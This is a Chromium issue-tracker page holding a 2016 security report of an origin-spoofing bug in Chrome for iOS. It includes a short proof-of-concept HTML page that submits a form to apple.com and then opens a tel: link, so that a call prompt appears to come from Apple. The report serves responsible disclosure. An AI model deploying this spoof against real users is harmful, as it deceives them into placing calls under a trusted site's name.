New issue
Advanced search Search tips

Issue 674888 link

Starred by 1 user

Issue metadata

Status: Duplicate
Merged: issue 674887
Owner: ----
Closed: Dec 2016
Cc:
EstimatedDays: ----
NextAction: ----
OS: iOS
Pri: 2
Type: Bug-Security



Sign in to add a comment

URL Scheme Reference Origin Spoof in Chrome iOS

Reported by martinzh...@gmail.com, Dec 16 2016

Issue description

Steps to reproduce the problem:
In the latest Chrome iOS browser, open the PoC.html, the source code is listed below:
<!DOCTYPE HTML>
<html>

<head>

<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />

</head>

<body>

<form action="https://www.apple.com" target="aa" method="get" onsubmit="setTimeout('p()',1200);">

<input type="submit">

</form>

<script>

function p() {

  var t = window.open('tel:10010','aa');

}

</script>

</body>

</html>

You will find, it seems like that the 'https://www.apple.com' is intended to call 10010

What is the expected behavior?
This problem could also be reproduced in Firefox iOS and Safari in iOS 10.2. So I also filed this issue to Mozilla. Firefox iOS developer thought it was a bug and filed it to Webkit project:
https://bugs.webkit.org/show_bug.cgi?id=165160

So I think that it is important to let you noticed.

What went wrong?
You could take a look at the PoC.png. You will find, it seems like that the 'https://www.apple.com' is intended to call 10010. This is another kind of spoof.

Did this work before? N/A 

Chrome version: 55.0.2883.79  Channel: stable
OS Version: 10.2
Flash Version: Shockwave Flash 21.9 r9
 
PoC.PNG
157 KB View Download
Mergedinto: 674887
Status: Duplicate (was: Unconfirmed)
Project Member

Comment 2 by sheriffbot@chromium.org, Jun 7 2018

Labels: -Restrict-View-SecurityTeam allpublic
This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Sign in to add a comment